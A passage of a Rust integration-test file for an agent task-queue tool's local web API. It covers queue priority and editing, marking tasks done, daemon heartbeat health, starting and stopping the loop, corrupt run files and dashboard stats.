6849 PathBuf::from("/repo/magi"),
6850 Source::Human,
6851 );
6852 newer.id = "20260101-000002-bbbb".to_owned();
6853 queue.put(&mut older).expect("file older");
6854 queue.put(&mut newer).expect("file newer");
6855
6856 let before = f.get("/api/queue").await.json();
6859 assert_eq!(before[0]["id"], newer.id);
6860 assert_eq!(before[1]["id"], older.id);
6861
6862 let raised = f
6866 .post(
6867 &format!("/api/queue/{}/priority", older.id),
6868 Some(r#"{"priority":10}"#),
6869 )
6870 .await;
6871 assert_eq!(raised.status, 200, "{}", raised.body);
6872 assert_eq!(raised.json()["priority"], 10);
6873
6874 let after = f.get("/api/queue").await.json();
6875 let names: Vec<&str> = after
6876 .as_array()
6877 .unwrap()
6878 .iter()
6879 .map(|t| t["id"].as_str().unwrap())
6880 .collect();
6881 assert_eq!(names[0], older.id, "the raised task now sorts first");
6885 }
6886
6887 #[tokio::test]
6888 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6889 let f = Fixture::start().await;
6890 let queue = f.queue();
6891 let mut task = Task::new(
6892 "in flight".to_owned(),
6893 "x".to_owned(),
6894 PathBuf::from("/repo/magi"),
6895 Source::Human,
6896 );
6897 task.start("20260902-140502-bbbb".to_owned());
6898 queue.put(&mut task).expect("file the task");
6899
6900 let res = f
6901 .post(
6902 &format!("/api/queue/{}/priority", task.id),
6903 Some(r#"{"priority":9}"#),
6904 )
6905 .await;
6906 assert_eq!(res.status, 400, "{}", res.body);
6907 assert!(
6908 res.json()["error"]
6909 .as_str()
6910 .is_some_and(|e| e.contains("running")),
6911 "{}",
6912 res.body
6913 );
6914 assert_eq!(
6915 queue.get(&task.id).expect("reload").priority,
6916 0,
6917 "the refused write must not partially apply"
6918 );
6919 }
6920
6921 #[tokio::test]
6922 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6923 let f = Fixture::start().await;
6924 let queue = f.queue();
6925 let mut task = Task::new(
6926 "old title".to_owned(),
6927 "old instruction".to_owned(),
6928 PathBuf::from("/repo/magi"),
6929 Source::Agent {
6930 run: "20260101-000000-beef".to_owned(),
6931 node: "implement".to_owned(),
6932 },
6933 );
6934 task.runs.push("20260101-000000-beef".to_owned());
6935 queue.put(&mut task).expect("file the task");
6936 let created_at = task.created_at;
6937
6938 let edited = f
6939 .post(
6940 &format!("/api/queue/{}/edit", task.id),
6941 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6942 )
6943 .await;
6944 assert_eq!(edited.status, 200, "{}", edited.body);
6945 let body = edited.json();
6946 assert_eq!(body["title"], "new title");
6947 assert_eq!(body["instruction"], "new instruction");
6948 assert_eq!(body["id"], task.id, "editing must not mint a new id");
6949 assert_eq!(body["created_at"], created_at.to_string());
6950 assert_eq!(
6951 body["source"]["kind"], "agent",
6952 "editing a task an agent filed must not turn it human: {body}"
6953 );
6954 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6955
6956 let reloaded = queue.get(&task.id).expect("reload");
6957 assert_eq!(reloaded.title, "new title");
6958 assert_eq!(reloaded.instruction, "new instruction");
6959 }
6960
6961 #[tokio::test]
6962 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6963 let f = Fixture::start().await;
6964 let queue = f.queue();
6965 let mut task = Task::new(
6966 "in flight".to_owned(),
6967 "do not touch".to_owned(),
6968 PathBuf::from("/repo/magi"),
6969 Source::Human,
6970 );
6971 task.start("20260902-140502-bbbb".to_owned());
6972 queue.put(&mut task).expect("file the task");
6973
6974 let res = f
6975 .post(
6976 &format!("/api/queue/{}/edit", task.id),
6977 Some(r#"{"title":"x","instruction":"y"}"#),
6978 )
6979 .await;
6980 assert_eq!(res.status, 400, "{}", res.body);
6981 assert!(
6982 res.json()["error"]
6983 .as_str()
6984 .is_some_and(|e| e.contains("running")),
6985 "{}",
6986 res.body
6987 );
6988 assert_eq!(
6989 queue.get(&task.id).expect("reload").instruction,
6990 "do not touch",
6991 "the refused edit must not change the file"
6992 );
6993 }
6994
6995 #[tokio::test]
6996 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6997 let f = Fixture::start().await;
6998 let queue = f.queue();
6999 let mut task = Task::new(
7000 "busy".to_owned(),
7001 "Running right now".to_owned(),
7002 PathBuf::from("/repo/magi"),
7003 Source::Human,
7004 );
7005 queue.put(&mut task).expect("file the task");
7006 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7007
7008 let priority = f
7009 .post(
7010 &format!("/api/queue/{}/priority", task.id),
7011 Some(r#"{"priority":9}"#),
7012 )
7013 .await;
7014 assert_eq!(priority.status, 409, "{}", priority.body);
7015
7016 let edit = f
7017 .post(
7018 &format!("/api/queue/{}/edit", task.id),
7019 Some(r#"{"title":"x","instruction":"y"}"#),
7020 )
7021 .await;
7022 assert_eq!(edit.status, 409, "{}", edit.body);
7023 }
7024
7025 #[tokio::test]
7026 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
7027 let f = Fixture::start().await;
7028 let queue = f.queue();
7029 let mut task = Task::new(
7030 "shipped by hand".to_owned(),
7031 "merged outside the loop".to_owned(),
7032 PathBuf::from("/repo/magi"),
7033 Source::Agent {
7034 run: "20260101-000000-b455".to_owned(),
7035 node: "implement".to_owned(),
7036 },
7037 );
7038 task.runs.push("20260101-000000-b455".to_owned());
7039 task.runs.push("20260101-000000-9af4".to_owned());
7040 queue.put(&mut task).expect("file the task");
7041 let created_at = task.created_at;
7042
7043 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7044 assert_eq!(done.status, 200, "{}", done.body);
7045 assert_eq!(done.json()["status_str"], "done");
7046
7047 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
7048 assert_eq!(
7049 reloaded.runs,
7050 ["20260101-000000-b455", "20260101-000000-9af4"]
7051 );
7052 assert_eq!(
7053 reloaded.source,
7054 Source::Agent {
7055 run: "20260101-000000-b455".to_owned(),
7056 node: "implement".to_owned(),
7057 }
7058 );
7059 assert_eq!(reloaded.created_at, created_at);
7060 }
7061
7062 #[tokio::test]
7063 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
7064 let f = Fixture::start().await;
7069 let queue = f.queue();
7070 let mut task = Task::new(
7071 "landed while held".to_owned(),
7072 "x".to_owned(),
7073 PathBuf::from("/repo/magi"),
7074 Source::Human,
7075 );
7076 task.hold_manual(Some("waiting on 3ed9".to_owned()));
7077 queue.put(&mut task).expect("file the held task");
7078
7079 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7080 assert_eq!(done.status, 200, "{}", done.body);
7081 assert_eq!(done.json()["status_str"], "done");
7082 assert!(
7083 done.json()["hold_reason"].is_null(),
7084 "a done task cannot still be waiting on something: {}",
7085 done.body
7086 );
7087 }
7088
7089 #[tokio::test]
7090 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
7091 let f = Fixture::start().await;
7096 let queue = f.queue();
7097 let runs = f.runs();
7098 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
7099 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
7103
7104 let mut task = Task::new(
7105 "landed by hand".to_owned(),
7106 "x".to_owned(),
7107 PathBuf::from("/repo/magi"),
7108 Source::Human,
7109 );
7110 task.runs.push("20260101-000000-doa1".to_owned());
7111 task.runs.push("20260101-000000-doa2".to_owned());
7112 queue.put(&mut task).expect("file the task");
7113
7114 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7115 assert_eq!(done.status, 200, "{}", done.body);
7116
7117 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
7118 .expect("run still on disk under this fixture's own home");
7119 assert_eq!(
7120 reloaded_run.status,
7121 RunStatus::Superseded,
7122 "closing the task by hand must relabel the earlier blocked attempt exactly \
7123 like the loop's own settle path does"
7124 );
7125 }
7126
7127 #[tokio::test]
7128 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
7129 let f = Fixture::start().await;
7134 let queue = f.queue();
7135 let runs = f.runs();
7136 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
7137 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
7138
7139 let mut task = Task::new(
7140 "closed with nothing actually landed".to_owned(),
7141 "x".to_owned(),
7142 PathBuf::from("/repo/magi"),
7143 Source::Human,
7144 );
7145 task.runs.push("20260101-000000-dob1".to_owned());
7146 task.runs.push("20260101-000000-dob2".to_owned());
7147 queue.put(&mut task).expect("file the task");
7148
7149 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7150 assert_eq!(done.status, 200, "{}", done.body);
7151
7152 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
7153 .expect("run still on disk under this fixture's own home");
7154 assert_eq!(
7155 reloaded_run.status,
7156 RunStatus::Blocked,
7157 "the last recorded attempt never landed, so the earlier one must not be \
7158 relabelled as superseded by it"
7159 );
7160 }
7161
7162 #[tokio::test]
7163 async fn unknown_ids_are_json_not_found_on_both_stores() {
7164 let f = Fixture::start().await;
7165
7166 let run = f.get("/api/runs/nosuchrun").await;
7167 let task = f.post("/api/queue/nosuchtask/hold", None).await;
7168
7169 assert_eq!(run.status, 404);
7170 assert_eq!(task.status, 404);
7171 assert!(
7172 run.json()["error"]
7173 .as_str()
7174 .is_some_and(|e| e.contains("run")),
7175 "the error names what was not found: {}",
7176 run.body
7177 );
7178 assert!(
7179 task.json()["error"]
7180 .as_str()
7181 .is_some_and(|e| e.contains("task")),
7182 "the error names what was not found: {}",
7183 task.body
7184 );
7185 }
7186
7187 #[tokio::test]
7188 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
7189 let f = Fixture::start().await;
7190
7191 let missing = f.get("/api/health").await.json();
7192 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
7193
7194 write_daemon(
7195 f.home.path(),
7196 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7197 );
7198 let stale = f.get("/api/health").await.json();
7199 assert_eq!(
7200 stale["daemon"]["running"], false,
7201 "a minute without a heartbeat is a dead daemon, not a busy one"
7202 );
7203 assert!(
7204 stale["daemon"]["stale_for_secs"]
7205 .as_i64()
7206 .is_some_and(|s| s >= 55),
7207 "staleness is reported so the UI can say how long: {stale}"
7208 );
7209
7210 write_daemon(f.home.path(), Timestamp::now());
7211 let fresh = f.get("/api/health").await.json();
7212 assert_eq!(fresh["daemon"]["running"], true);
7213 assert_eq!(fresh["daemon"]["idle"], false);
7214 assert_eq!(fresh["daemon"]["pid"], 4242);
7215 assert_eq!(fresh["daemon"]["completed"], 7);
7216 assert_eq!(
7217 fresh["daemon"]["current"][0]["task"],
7218 "20260902-140501-aaaa"
7219 );
7220 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
7221 }
7222
7223 #[tokio::test]
7224 async fn the_loop_is_not_running_until_something_starts_it() {
7225 let f = Fixture::start().await;
7226
7227 let view = f.get("/api/loop").await.json();
7228 assert_eq!(view["running"], false);
7229 assert_eq!(
7230 view["owned"], false,
7231 "nobody owns a loop that does not exist: {view}"
7232 );
7233 assert_eq!(view["stopping"], false);
7234 assert_eq!(view["last_error"], Value::Null);
7235 assert_eq!(view["daemon"]["running"], false);
7236 assert_eq!(
7237 view["repo"], "/repo/magi",
7238 "the repository a start would use, named before it is started"
7239 );
7240 }
7241
7242 #[tokio::test]
7243 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
7244 let f = Fixture::start().await;
7245
7246 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7247 assert_eq!(res.status, 200, "{}", res.body);
7248 let view = res.json();
7249 assert_eq!(view["running"], true);
7250 assert_eq!(
7251 view["owned"], true,
7252 "the loop the UI started is the UI's own to stop: {view}"
7253 );
7254 assert_eq!(
7255 view["merge"],
7256 Value::Null,
7257 "no override was given, so each repository's own config decides"
7258 );
7259
7260 let health = f.get("/api/health").await.json();
7264 assert_eq!(health["loop"]["running"], true, "{health}");
7265 assert_eq!(health["loop"]["owned"], true, "{health}");
7266
7267 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7268 }
7269
7270 #[tokio::test]
7271 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
7272 let f = Fixture::start().await;
7273 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7274 assert_eq!(first.status, 200, "{}", first.body);
7275
7276 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7277 assert_eq!(
7278 again.status, 409,
7279 "two loops on one queue race for the same claims: {}",
7280 again.body
7281 );
7282 assert!(
7283 again.json()["error"]
7284 .as_str()
7285 .is_some_and(|e| e.contains("already running the loop")),
7286 "the refusal has to say why: {}",
7287 again.body
7288 );
7289 assert_eq!(
7290 f.get("/api/loop").await.json()["running"],
7291 true,
7292 "and the loop that was already running is untouched by it"
7293 );
7294
7295 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7296 }
7297
7298 #[tokio::test]
7299 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
7300 let f = Fixture::start().await;
7301 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7302
7303 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7304 assert_eq!(
7305 res.status, 200,
7306 "the answer must not wait for the loop: a run in flight is tens of \
7307 minutes and the operator is holding a phone: {}",
7308 res.body
7309 );
7310
7311 let view = settled(&f, |v| v["running"] == false).await;
7312 assert_eq!(view["owned"], false);
7313 assert_eq!(
7314 view["stopping"], false,
7315 "a loop that has stopped is not still stopping: {view}"
7316 );
7317 assert_eq!(
7318 view["last_error"],
7319 Value::Null,
7320 "a loop that was asked to stop did not fail: {view}"
7321 );
7322
7323 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7326 assert_eq!(twice.status, 200, "{}", twice.body);
7327 }
7328
7329 #[tokio::test]
7330 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
7331 let f = Fixture::start().await;
7332 write_daemon(f.home.path(), Timestamp::now());
7335
7336 let view = f.get("/api/loop").await.json();
7337 assert_eq!(view["running"], false, "not in this process: {view}");
7338 assert_eq!(view["owned"], false, "and not this process's to control");
7339 assert_eq!(
7340 view["daemon"]["running"], true,
7341 "but a loop is alive somewhere, which is what the UI must say"
7342 );
7343 assert_eq!(view["daemon"]["pid"], 4242);
7344
7345 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
7346 let res = f.post("/api/loop", Some(body)).await;
7347 assert_eq!(
7348 res.status, 409,
7349 "neither button may pretend to work on someone else's loop: {}",
7350 res.body
7351 );
7352 assert!(
7353 res.json()["error"]
7354 .as_str()
7355 .is_some_and(|e| e.contains("4242")),
7356 "the refusal has to name the process the operator must go to: {}",
7357 res.body
7358 );
7359 }
7360 assert_eq!(
7361 f.get("/api/loop").await.json()["running"],
7362 false,
7363 "and the refusal started nothing"
7364 );
7365 }
7366
7367 #[tokio::test]
7368 async fn a_stale_status_file_is_not_a_foreign_owner() {
7369 let f = Fixture::start().await;
7370 write_daemon(
7371 f.home.path(),
7372 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7373 );
7374
7375 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7376 assert_eq!(
7377 res.status, 200,
7378 "a daemon killed a minute ago must not lock the loop out of its \
7379 own home for good: {}",
7380 res.body
7381 );
7382 assert_eq!(res.json()["running"], true);
7383
7384 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7385 }
7386
7387 #[tokio::test]
7388 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
7389 let f = Fixture::start().await;
7390 let before = f.get("/api/health").await.json()["loop_rev"]
7391 .as_u64()
7392 .expect("a loop revision");
7393
7394 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7395
7396 let after = f.get("/api/health").await.json()["loop_rev"]
7397 .as_u64()
7398 .expect("a loop revision");
7399 assert!(
7400 after > before,
7401 "the loop is in-process state, so this counter is the only thing \
7402 that tells a second device the first one started it: {before} -> \
7403 {after}"
7404 );
7405
7406 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7407 }
7408
7409 #[tokio::test]
7410 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
7411 let f = Fixture::with_loop(launch_broken).await;
7412
7413 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7414 assert_eq!(
7415 res.status, 200,
7416 "starting it is not the failure: {}",
7417 res.body
7418 );
7419
7420 let view = settled(&f, |v| v["last_error"].is_string()).await;
7421 assert_eq!(
7422 view["running"], false,
7423 "a loop that died must not read as running, or the operator has \
7424 nothing to press: {view}"
7425 );
7426 assert_eq!(view["owned"], false);
7427 assert!(
7428 view["last_error"]
7429 .as_str()
7430 .is_some_and(|e| e.contains("read-only file system")),
7431 "the phone is where a loop that died at 3am is visible: {view}"
7432 );
7433
7434 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7437 assert_eq!(again.status, 200, "{}", again.body);
7438 assert_eq!(
7439 again.json()["last_error"],
7440 Value::Null,
7441 "a fresh start does not keep showing why the last one died"
7442 );
7443 }
7444
7445 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
7457 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
7458 let home = TempDir::new().expect("temp home");
7459 let runs = home.path().join("runs");
7460 std::fs::create_dir_all(&runs).expect("runs dir");
7461 let ui = Ui::new(
7462 Queue::at(home.path().join("queue")),
7463 Questions::at(home.path().join("questions")),
7464 Talks::at(home.path().join("talks")),
7465 runs,
7466 home.path().to_path_buf(),
7467 PathBuf::from("/repo/magi"),
7468 )
7469 .with_worktrees_root(home.path().join("wt"))
7470 .with_launch(launch_knocking_on_the_way_out);
7471 let looping = ui.looping();
7472 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7473 .await
7474 .expect("bind loopback");
7475 let addr = listener.local_addr().expect("local addr");
7476 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
7477 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7478
7479 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
7480 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
7481
7482 let bound = std::sync::Mutex::new(None);
7497 hand_over(home.path(), &looping, served, || {
7498 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
7499 let attempt = loop {
7500 match std::net::TcpListener::bind(addr) {
7501 Ok(l) => {
7502 drop(l);
7503 break Ok(());
7504 }
7505 Err(e)
7506 if e.kind() == std::io::ErrorKind::AddrInUse
7507 && std::time::Instant::now() < deadline =>
7508 {
7509 std::thread::sleep(std::time::Duration::from_millis(10));
7510 }
7511 Err(e) => break Err(e.to_string()),
7512 }
7513 };
7514 *bound.lock().expect("bound") = Some(attempt);
7515 Ok(())
7516 })
7517 .await
7518 .expect("hand over");
7519
7520 assert_eq!(
7521 *PARK_HEARD.lock().expect("park heard"),
7522 Some(200),
7523 "the deck must answer while the loop is parking"
7524 );
7525 let attempt = bound
7526 .lock()
7527 .expect("bound")
7528 .take()
7529 .expect("the successor was started");
7530 assert!(
7531 attempt.is_ok(),
7532 "and the address must be free by the time it is: {attempt:?}"
7533 );
7534 }
7535
7536 #[tokio::test]
7537 async fn a_newer_daemon_status_file_still_renders() {
7538 let f = Fixture::start().await;
7539 std::fs::write(
7542 f.home.path().join("daemon.json"),
7543 serde_json::json!({
7544 "schema": 2,
7545 "updated_at": Timestamp::now().to_string(),
7546 "idle": true,
7547 "surprise": { "nested": [1, 2, 3] },
7548 })
7549 .to_string(),
7550 )
7551 .expect("write daemon.json");
7552
7553 let health = f.get("/api/health").await;
7554
7555 assert_eq!(health.status, 200);
7556 assert_eq!(health.json()["daemon"]["running"], true);
7557 }
7558
7559 #[tokio::test]
7560 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
7561 let f = Fixture::start().await;
7562 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7563 let broken = f.runs().join("20260902-140502-bad");
7564 std::fs::create_dir_all(&broken).expect("run dir");
7565 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7566
7567 let list = f.get("/api/runs").await;
7568 let detail = f.get("/api/runs/20260902-140502-bad").await;
7569
7570 assert_eq!(list.status, 200);
7571 let listed = list.json();
7572 let ids: Vec<&str> = listed
7573 .as_array()
7574 .expect("an array")
7575 .iter()
7576 .map(|r| r["id"].as_str().expect("an id"))
7577 .collect();
7578 assert_eq!(
7579 ids,
7580 vec!["20260902-140501-good"],
7581 "one unreadable run must not cost the operator the whole history"
7582 );
7583 assert_eq!(detail.status, 500);
7584 assert!(
7585 detail.json()["error"]
7586 .as_str()
7587 .is_some_and(|e| e.contains("run.json")),
7588 "the failure names the file to look at: {}",
7589 detail.body
7590 );
7591 let health = f.get("/api/health").await;
7595 assert_eq!(health.json()["runs_unreadable"], 1);
7596 }
7597
7598 #[tokio::test]
7603 async fn stats_runs_unreadable_matches_health() {
7604 let f = Fixture::start().await;
7605 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7606 let broken = f.runs().join("20260902-140502-bad");
7607 std::fs::create_dir_all(&broken).expect("run dir");
7608 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7609
7610 let stats = f.get("/api/stats").await;
7611 let health = f.get("/api/health").await;
7612
7613 assert_eq!(stats.status, 200);
7614 assert_eq!(stats.json()["totals"]["runs"], 1);
7615 assert_eq!(stats.json()["runs_unreadable"], 1);
7616 assert_eq!(
7617 stats.json()["runs_unreadable"],
7618 health.json()["runs_unreadable"],
7619 "the dashboard and /api/health must never disagree about how many \
7620 runs could not be read"
7621 );
7622 }
7623
7624 #[tokio::test]
7625 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
7626 let f = Fixture::start().await;
7627 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7628 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
7629 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
7630
7631 let totals = &f.get("/api/stats").await.json()["totals"];
7632 assert_eq!(totals["runs"], 3);
7633 assert_eq!(totals["merged"], 1);
7634 assert_eq!(totals["stalled"], 1);
7635 assert_eq!(totals["in_progress"], 1);
7636 assert_eq!(totals["blocked"], 0);
7639 assert_eq!(totals["ready"], 0);
7640 }
7641
7642 #[tokio::test]
7643 async fn stats_advisors_report_proposals_and_reflection() {
7644 use crate::advise::{Advice, AdvisorRecord, Reflection};
7645 use crate::verdict::Proposal;
7646
7647 let f = Fixture::start().await;
7648 let mut state = RunState::new(
7649 PathBuf::from("/repo/magi"),
7650 "main".to_owned(),
7651 "0123456789abcdef".to_owned(),
7652 "task".to_owned(),
7653 Config::default(),
7654 );
7655 state.id = "20260902-140501-a".to_owned();
7656 state.status = RunStatus::Merged;
7657 state.advice = Some(Advice {
7658 records: vec![
7659 AdvisorRecord {
7660 seat: "advisor-1".to_owned(),
7661 agent: "alpha".to_owned(),
7662 proposal: Some(Proposal {
7663 approach: "do it".to_owned(),
7664 key_tradeoff: "speed over memory".to_owned(),
7665 risks: Vec::new(),
7666 touches: Vec::new(),
7667 why_not_naive: "breaks under load".to_owned(),
7668 }),
7669 error: None,
7670 duration_ms: 0,
7671 reflection: Reflection::Strong,
7672 },
7673 AdvisorRecord {
7674 seat: "advisor-2".to_owned(),
7675 agent: "alpha".to_owned(),
7676 proposal: None,
7677 error: Some("timed out".to_owned()),
7678 duration_ms: 0,
7679 reflection: Reflection::Absent,
7680 },
7681 ],
7682 synthesis: Some("blended brief".to_owned()),
7683 });
7684 let dir = f.runs().join(&state.id);
7685 std::fs::create_dir_all(&dir).expect("run dir");
7686 std::fs::write(
7687 dir.join("run.json"),
7688 serde_json::to_string_pretty(&state).expect("serialize run"),
7689 )
7690 .expect("write run.json");
7691
7692 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
7693 let alpha = advisors
7694 .as_array()
7695 .expect("an array")
7696 .iter()
7697 .find(|a| a["agent"] == "alpha")
7698 .expect("alpha row");
7699 assert_eq!(alpha["seated"], 2);
7700 assert_eq!(alpha["proposed"], 1);
7701 assert_eq!(alpha["absent"], 1);
7702 assert_eq!(alpha["strong"], 1);
7703 assert_eq!(alpha["faint"], 0);
7704 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
7705 }
7706
7707 #[tokio::test]
7708 async fn stats_release_bumps_split_clean_from_attention() {
7709 use crate::run::ReleaseBump;
7710
7711 let f = Fixture::start().await;
7712
7713 let mut clean = RunState::new(
7714 PathBuf::from("/repo/magi"),
7715 "main".to_owned(),
7716 "0123456789abcdef".to_owned(),
7717 "task".to_owned(),
7718 Config::default(),
7719 );
7720 clean.id = "20260902-140501-a".to_owned();
7721 clean.status = RunStatus::Merged;
7722 clean.release_bump = Some(ReleaseBump {
7723 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
7724 version: Some("1.0.0".to_owned()),
7725 automerge_enabled: true,
7726 merged_directly: false,
7727 problem: None,
7728 action_required: None,
7729 });
7730
7731 let mut blocked = RunState::new(
7732 PathBuf::from("/repo/magi"),
7733 "main".to_owned(),
7734 "0123456789abcdef".to_owned(),
7735 "task".to_owned(),
7736 Config::default(),
7737 );
7738 blocked.id = "20260902-140502-b".to_owned();
7739 blocked.status = RunStatus::Merged;
7740 blocked.release_bump = Some(ReleaseBump {
7741 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
7742 version: Some("1.0.1".to_owned()),
7743 automerge_enabled: false,
7744 merged_directly: false,
7745 problem: Some("checks red".to_owned()),
7746 action_required: Some("look at the PR".to_owned()),
7747 });
7748
7749 for state in [&clean, &blocked] {
7750 let dir = f.runs().join(&state.id);
7751 std::fs::create_dir_all(&dir).expect("run dir");
7752 std::fs::write(
7753 dir.join("run.json"),
7754 serde_json::to_string_pretty(state).expect("serialize run"),
7755 )
7756 .expect("write run.json");
7757 }
7758
7759 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7760 assert_eq!(bumps["merged"], 2);
7761 assert_eq!(bumps["recorded"], 2);
7762 assert_eq!(bumps["pr_opened"], 2);
7763 assert_eq!(bumps["automerge_enabled"], 1);
7764 assert_eq!(bumps["needs_attention"], 1);
7765 assert_eq!(bumps["clean"], 1);
7766 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
7767 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
7768 }
7769
7770 #[tokio::test]
7771 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
7772 let f = Fixture::start().await;
7773 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7774
7775 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7776 assert_eq!(bumps["merged"], 1);
7777 assert_eq!(bumps["recorded"], 0);
7778 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
7781 assert_eq!(bumps["automerge_rate"], Value::Null);
7784 assert_eq!(bumps["attention_rate"], Value::Null);
7785 }
7786
7787 #[tokio::test]
7788 async fn stats_queue_counts_come_from_the_live_queue() {
7789 let f = Fixture::start().await;
7790 let q = f.queue();
7791 let mut queued = Task::new(
7792 "queued task".to_owned(),
7793 "do it".to_owned(),
7794 PathBuf::from("/repo"),
7795 Source::Human,
7796 );
7797 q.put(&mut queued).expect("put queued");
7798 let mut held = Task::new(
7799 "held task".to_owned(),
7800 "do it later".to_owned(),
7801 PathBuf::from("/repo"),
7802 Source::Human,
7803 );
7804 held.hold_machine(Some("out of attempts".to_owned()));
7805 q.put(&mut held).expect("put held");
7806
7807 let queue = f.get("/api/stats").await.json()["queue"].clone();
7808 assert_eq!(queue["queued"], 1);
7809 assert_eq!(queue["held"], 1);
7810 assert_eq!(queue["running"], 0);
7811 assert_eq!(queue["done"], 0);
7812 assert_eq!(queue["failed"], 0);
7813 assert_eq!(queue["blocked"], 0);
7814 }
7815
7816 #[tokio::test]
7817 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
7818 let f = Fixture::start().await;
7819 let stats = f.get("/api/stats").await;
7820 assert_eq!(stats.status, 200);
7821 assert_eq!(stats.json()["totals"]["runs"], 0);
7822 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
7823 assert_eq!(stats.json()["runs_unreadable"], 0);
7824 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
7825 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
7826 }
7827
7828 #[tokio::test]
7829 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
7830 let f = Fixture::start().await;
7831 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
7832
7833 let summary = f.get("/api/runs").await.json();
7834 let row = &summary[0];
7835 assert_eq!(row["short"], "a1b2");
7836 assert_eq!(row["status"], "ready");
7837 assert_eq!(row["done"], true);
7838 assert_eq!(row["title"], "Add a web UI");
7839 assert_eq!(row["repo_name"], "magi");
7840 assert_eq!(row["judges"], 3);
7841 assert_eq!(row["winner"], Value::Null);
7842 assert_eq!(row["reviews"], 0);
7843
7844 let detail = f.get("/api/runs/a1b2").await;
7847 assert_eq!(detail.status, 200);
7848 assert_eq!(detail.json()["base_branch"], "main");
7849 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
7850 }
7851
7852 #[tokio::test]
7860 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
7861 let f = Fixture::start().await;
7862
7863 let mut none_run = RunState::new(
7864 PathBuf::from("/repo/magi"),
7865 "main".to_owned(),
7866 "0123456789abcdef".to_owned(),
7867 "Add a web UI".to_owned(),
7868 Config::default(),
7869 );
7870 none_run.id = "20260902-140503-none".to_owned();
7871 none_run.status = RunStatus::Ready;
7872 none_run.merge = Some(crate::run::MergeOutcome {
7873 mode: crate::config::MergeMode::None,
